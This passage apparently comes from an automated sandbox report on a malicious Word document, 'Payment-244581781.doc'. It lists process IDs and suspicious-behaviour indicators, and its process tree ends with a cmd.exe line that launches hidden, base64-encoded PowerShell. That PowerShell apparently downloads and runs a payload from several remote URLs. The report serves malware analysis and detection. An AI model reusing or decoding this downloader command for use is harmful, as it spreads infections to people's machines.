Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 2968 Process not Found 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 2968 Process not Found 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 2968 Process not Found 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 2968 Process not Found 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 2968 Process not Found 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 2968 Process not Found 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found - Suspicious behavior: MapViewOfSection 21 IoCs
pid Process 1020 Moax0jt.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found - Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1908 powershell.exe Token: SeShutdownPrivilege 2968 Process not Found Token: SeCreatePagefilePrivilege 2968 Process not Found Token: SeShutdownPrivilege 2968 Process not Found Token: SeCreatePagefilePrivilege 2968 Process not Found Token: SeShutdownPrivilege 2968 Process not Found Token: SeCreatePagefilePrivilege 2968 Process not Found Token: SeShutdownPrivilege 2968 Process not Found Token: SeCreatePagefilePrivilege 2968 Process not Found Token: SeShutdownPrivilege 2968 Process not Found Token: SeCreatePagefilePrivilege 2968 Process not Found - Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE 648 WINWORD.EXE - Suspicious use of UnmapMainImage 1 IoCs
pid Process 2968 Process not Found - Suspicious use of WriteProcessMemory 45 IoCs
description pid Process procid_target PID 640 wrote to memory of 1328 640 cmd.exe 79 PID 640 wrote to memory of 1328 640 cmd.exe 79 PID 640 wrote to memory of 1908 640 cmd.exe 80 PID 640 wrote to memory of 1908 640 cmd.exe 80 PID 1836 wrote to memory of 1020 1836 Moax0jt.exe 84 PID 1836 wrote to memory of 1020 1836 Moax0jt.exe 84 PID 1836 wrote to memory of 1020 1836 Moax0jt.exe 84 PID 1836 wrote to memory of 1020 1836 Moax0jt.exe 84 PID 1836 wrote to memory of 1020 1836 Moax0jt.exe 84 PID 2968 wrote to memory of 1112 2968 Process not Found 86 PID 2968 wrote to memory of 1112 2968 Process not Found 86 PID 2968 wrote to memory of 1112 2968 Process not Found 86 PID 2968 wrote to memory of 1112 2968 Process not Found 86 PID 2968 wrote to memory of 2276 2968 Process not Found 87 PID 2968 wrote to memory of 2276 2968 Process not Found 87 PID 2968 wrote to memory of 2276 2968 Process not Found 87 PID 2968 wrote to memory of 1616 2968 Process not Found 88 PID 2968 wrote to memory of 1616 2968 Process not Found 88 PID 2968 wrote to memory of 1616 2968 Process not Found 88 PID 2968 wrote to memory of 1616 2968 Process not Found 88 PID 2968 wrote to memory of 2104 2968 Process not Found 89 PID 2968 wrote to memory of 2104 2968 Process not Found 89 PID 2968 wrote to memory of 2104 2968 Process not Found 89 PID 2968 wrote to memory of 2104 2968 Process not Found 89 PID 2968 wrote to memory of 1592 2968 Process not Found 90 PID 2968 wrote to memory of 1592 2968 Process not Found 90 PID 2968 wrote to memory of 1592 2968 Process not Found 90 PID 2968 wrote to memory of 2136 2968 Process not Found 91 PID 2968 wrote to memory of 2136 2968 Process not Found 91 PID 2968 wrote to memory of 2136 2968 Process not Found 91 PID 2968 wrote to memory of 2136 2968 Process not Found 91 PID 2968 wrote to memory of 3812 2968 Process not Found 92 PID 2968 wrote to memory of 3812 2968 Process not Found 92 PID 2968 wrote to memory of 3812 2968 Process not Found 92 PID 2968 wrote to memory of 1240 2968 Process not Found 93 PID 2968 wrote to memory of 1240 2968 Process not Found 93 PID 2968 wrote to memory of 1240 2968 Process not Found 93 PID 2968 wrote to memory of 1240 2968 Process not Found 93 PID 2968 wrote to memory of 4088 2968 Process not Found 94 PID 2968 wrote to memory of 4088 2968 Process not Found 94 PID 2968 wrote to memory of 4088 2968 Process not Found 94 PID 2968 wrote to memory of 4088 2968 Process not Found 94 PID 2968 wrote to memory of 764 2968 Process not Found 95 PID 2968 wrote to memory of 764 2968 Process not Found 95 PID 2968 wrote to memory of 764 2968 Process not Found 95
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payment-244581781.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:648
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IABTAEUAdAAgACAARABnAEoAIAAgACgAIABbAFQAWQBQAEUAXQAoACIAewAzAH0AewAyAH0AewA0AH0AewAwAH0AewAxAH0AIgAgAC0AZgAnAFQAJwAsACcAbwBSAHkAJwAsACcAVABFAG0ALgBpAG8ALgBkAGkAcgAnACwAJwBzAFkAcwAnACwAJwBlAGMAJwApACkAIAA7ACAAIAAkAFAAZQB1AHkAbwB3AD0AIAAgAFsAVAB5AHAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADAAfQB7ADEAfQB7ADYAfQB7ADUAfQB7ADcAfQB7ADQAfQAiAC0ARgAgACcAZQAnACwAJwBUACcALAAnAFMAeQBzACcALAAnAHQARQBtAC4ATgAnACwAJwBHAGUAcgAnACwAJwBFAFAAJwAsACcALgBzAEUAUgB2AGkAQwAnACwAJwBPAEkATgB0AG0AYQBOAGEAJwApACAAIAA7ACAAJABGAGQANABxADAAZwBqAD0AKAAnAEcAJwArACgAJwA4ADAAJwArACcAegAnACkAKwAoACcAcQA1ACcAKwAnAGUAJwApACkAOwAkAEMAaAA3AG8AbQBqAHcAPQAkAEsAXwAzAGwAbwBmADgAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AYQBpAHQAZgByAGwAOwAkAFMANgBoAGkAcgBmAGMAPQAoACcATQB6ACcAKwAoACcAbAAnACsAJwBhAGwAJwApACsAJwBpAHMAJwApADsAIAAgACQARABHAEoAOgA6ACIAQwBSAGUAYQB0AGUAYABkAEkAcgBgAEUAQwBgAFQATwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAFgAMgAnACsAKAAnAGsAJwArACcAdQA4AGoAJwApACsAJwA5AHsAJwArACcAMAB9AFIAeAAnACsAJwBfADkAYgBnAHMAewAwACcAKwAnAH0AJwApACAAIAAtAGYAIAAgAFsAQwBoAEEAcgBdADkAMgApACkAOwAkAE4AdAB0AGIAcABoAHcAPQAoACgAJwBGACcAKwAnAG8ANwAnACkAKwAnADkAJwArACgAJwA5ACcAKwAnADEAcAAnACkAKQA7ACAAIAAoACAAIABnAEkAIAAgAFYAQQByAEkAYQBiAEwAZQA6AHAAZQB1AHkAbwB3ACkALgBWAEEATABVAEUAOgA6ACIAcwBgAEUAQwB1AGAAUgBgAGkAdABZAFAAcgBPAHQAbwBDAGAAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABQAGIAXwB2AHcANwBfAD0AKAAoACcAWQBiACcAKwAnADUAJwApACsAKAAnADEANQA3ACcAKwAnAGQAJwApACkAOwAkAFMAYQBhAHkAYgB6ADEAIAA9ACAAKAAnAE0AbwAnACsAKAAnAGEAeAAwAGoAJwArACcAdAAnACkAKQA7ACQARwBmAGEAZABrAGUAMwA9ACgAJwBHACcAKwAnAHQAJwArACgAJwBwACcAKwAnAGsAagA5AGoAJwApACkAOwAkAE4AagBlAG4AbgA4AGkAPQAoACgAJwBIAHQAcQAnACsAJwB1ACcAKQArACgAJwAxACcAKwAnADQANQAnACkAKQA7ACQAVAB5AGoAYgA4AGwAaQA9ACQASABPAE0ARQArACgAKAAnAFQAbQAnACsAJwBQACcAKwAoACcAWAAyAGsAdQA4AGoAJwArACcAOQAnACsAJwBUACcAKQArACgAJwBtAFAAUgAnACsAJwB4AF8AOQBiAGcAJwApACsAKAAnAHMAJwArACcAVABtAFAAJwApACkALgAiAHIARQBwAEwAYABBAEMAZQAiACgAKAAnAFQAbQAnACsAJwBQACcAKQAsACcAXAAnACkAKQArACQAUwBhAGEAeQBiAHoAMQArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAE4AcgBtAHIANgA4AF8APQAoACgAJwBIAGMAJwArACcAcQBrAHIAJwApACsAJwA1ACcAKwAnAGQAJwApADsAJABZAF8AZwBhAGkAZwBsAD0AbgBlAHcALQBvAGAAQgBgAGoAZQBDAFQAIABuAEUAVAAuAFcAZQBCAEMAbABpAGUATgB0ADsAJABHADgAYwAxADAAYwA1AD0AKAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACgAJwBwADoAUQAnACsAJwApACgAJwApACkAKwAnAHEAJwArACcAZAAnACsAKAAoACcAZAApACcAKQApACsAKAAnACgAUQAnACsAJwApACcAKQArACgAKAAnACgAcQBkAGQAKQAnACsAJwAoAGcAJwApACkAKwAnAGkAZgAnACsAKAAnAHQAJwArACcAYwBhAHIAZAAnACkAKwAnADIAJwArACgAJwBuACcAKwAnAGEAaQByACcAKwAnAGEALgBjACcAKQArACgAKAAnAG8AbQAnACsAJwBRACkAKABxAGQAZAApACgAbwAnACsAJwBuADYAJwArACcAdQA0AGQAbAAuACcAKwAnAHoAaQBwAEAAJwArACcAaAAnACkAKQArACgAKAAnAHQAdABwAHMAOgAnACsAJwBRACkAKAAnACsAJwBxAGQAZAApACcAKQApACsAKAAoACcAKABRACkAKAAnACsAJwBxACcAKwAnAGQAZAApACgAJwApACkAKwAnAG4AYwAnACsAKAAnADMAYQAnACsAJwBhACcAKQArACgAKAAnAGEALgBvAHIAZwBRACcAKwAnACkAJwApACkAKwAoACcAKABxAGQAJwArACcAZAApACcAKQArACgAKAAnACgAawAnACkAKQArACcAOABxACcAKwAnADYAagAnACsAKAAnAGIALgAnACsAJwByACcAKQArACgAJwBhAHIAQABoACcAKwAnAHQAJwApACsAJwB0AHAAJwArACgAKAAnAHMAJwArACcAOgAnACsAJwBRACkAKABxAGQAJwArACcAZAApACgAUQApACcAKwAnACgAJwApACkAKwAnAHEAJwArACgAKAAnAGQAZAAnACsAJwApACcAKQApACsAKAAoACcAKAByACcAKwAnAGUAYQAnACkAKQArACgAJwBkAGEAJwArACcAYgBvAHUAJwApACsAKAAnAHQAJwArACcAYwBhAHIAZQAuAHMAJwApACsAKAAoACcAaQB0AGUAUQApACcAKwAnACgAcQBkAGQAJwArACcAKQAoAGIAJwApACkAKwAoACcAYgA5AGMAJwArACcAcgAnACkAKwAnAG8AJwArACgAJwBkAHUAMgAnACsAJwAuAHIAYQByAEAAJwApACsAKAAoACcAaAB0AHQAcABzADoAJwArACcAUQApACgAcQBkACcAKwAnAGQAJwArACcAKQAoACcAKwAnAFEAKQAnACsAJwAoAHEAZABkACkAKAB3AHcAdwAuACcAKQApACsAKAAnAGMAdAAnACsAJwByACcAKQArACcAbABiACcAKwAnAGYAJwArACgAKAAnAG8AbgB0AC4AYwBvAG0AUQAnACsAJwApACgAcQBkAGQAKQAoAGsAcQBuAGoANwAnACsAJwAyACcAKwAnAHcAawAnACsAJwAuACcAKQApACsAJwByACcAKwAoACcAYQByACcAKwAnAEAAJwApACsAKAAoACcAaAB0AHQAJwArACcAcABzADoAUQApACcAKwAnACgAcQBkAGQAJwApACkAKwAoACgAJwApACgAUQApACcAKwAnACgAcQAnACsAJwBkACcAKQApACsAKAAoACcAZAApACcAKwAnACgAcAAnACsAJwByAG8AcwB5ACcAKQApACsAKAAnAGEAcgBtACcAKwAnAGEAawAnACkAKwAoACcAYQBzAHMAJwArACcAYQByACcAKwAnAC4AYwBvACcAKQArACgAKAAnAG0AUQAnACsAJwApACgAcQAnACkAKQArACgAKAAnAGQAJwArACcA